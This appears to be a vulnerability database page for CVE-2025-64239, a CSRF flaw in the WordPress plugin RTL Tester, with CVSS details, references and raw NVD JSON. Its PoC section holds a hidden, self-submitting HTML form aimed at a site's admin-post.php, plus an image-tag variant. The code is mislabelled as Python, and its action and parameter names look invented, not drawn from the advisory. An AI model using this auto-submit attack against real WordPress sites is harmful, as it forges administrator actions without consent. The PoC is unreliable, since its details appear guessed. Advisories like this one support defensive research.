CVE-2025-64239

Description

Cross-Site Request Forgery (CSRF) vulnerability in Yoav Farhi RTL Tester rtl-tester allows Cross Site Request Forgery.This issue affects RTL Tester: from n/a through <= 1.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

rtl-tester WordPress插件 <= 1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-64239 -->
<!-- Exploit targets WordPress admin with rtl-tester plugin installed -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit - CVE-2025-64239</title>
</head>
<body>
    <h1>RTL Tester CSRF Vulnerability PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in rtl-tester plugin <= 1.2</p>
    
    <!-- Auto-submit form to exploit CSRF -->
    <form id="exploitForm" action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Plugin's action endpoint -->
        <input type="hidden" name="action" value="rtl_tester_action">
        <!-- Malicious parameter injection -->
        <input type="hidden" name="rtl_tester_setting" value="malicious_value">
        <!-- Additional CSRF-prone parameters -->
        <input type="hidden" name="submit" value="1">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('exploitForm').submit();
        console.log('CSRF PoC sent');
    </script>
    
    <p>If you see this message, the exploit has been executed.</p>
</body>
</html>

<!-- Alternative: Image tag-based CSRF (no user interaction) -->
<!-- <img src="http://target-wordpress-site/wp-admin/admin-post.php?action=rtl_tester_action&rtl_tester_setting=malicious" width="0" height="0" border="0"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64239
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64239
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64239/
[4] VulDB https://vuldb.com/cve/CVE-2025-64239
[5] https://patchstack.com/database/Wordpress/Plugin/rtl-tester/vulnerability/wordpress-rtl-tester-plugin-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64239", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:53.377", "lastModified": "2026-04-27T16:16:36.513", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Yoav Farhi RTL Tester rtl-tester allows Cross Site Request Forgery.This issue affects RTL Tester: from n/a through <= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rtl-tester/vulnerability/wordpress-rtl-tester-plugin-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}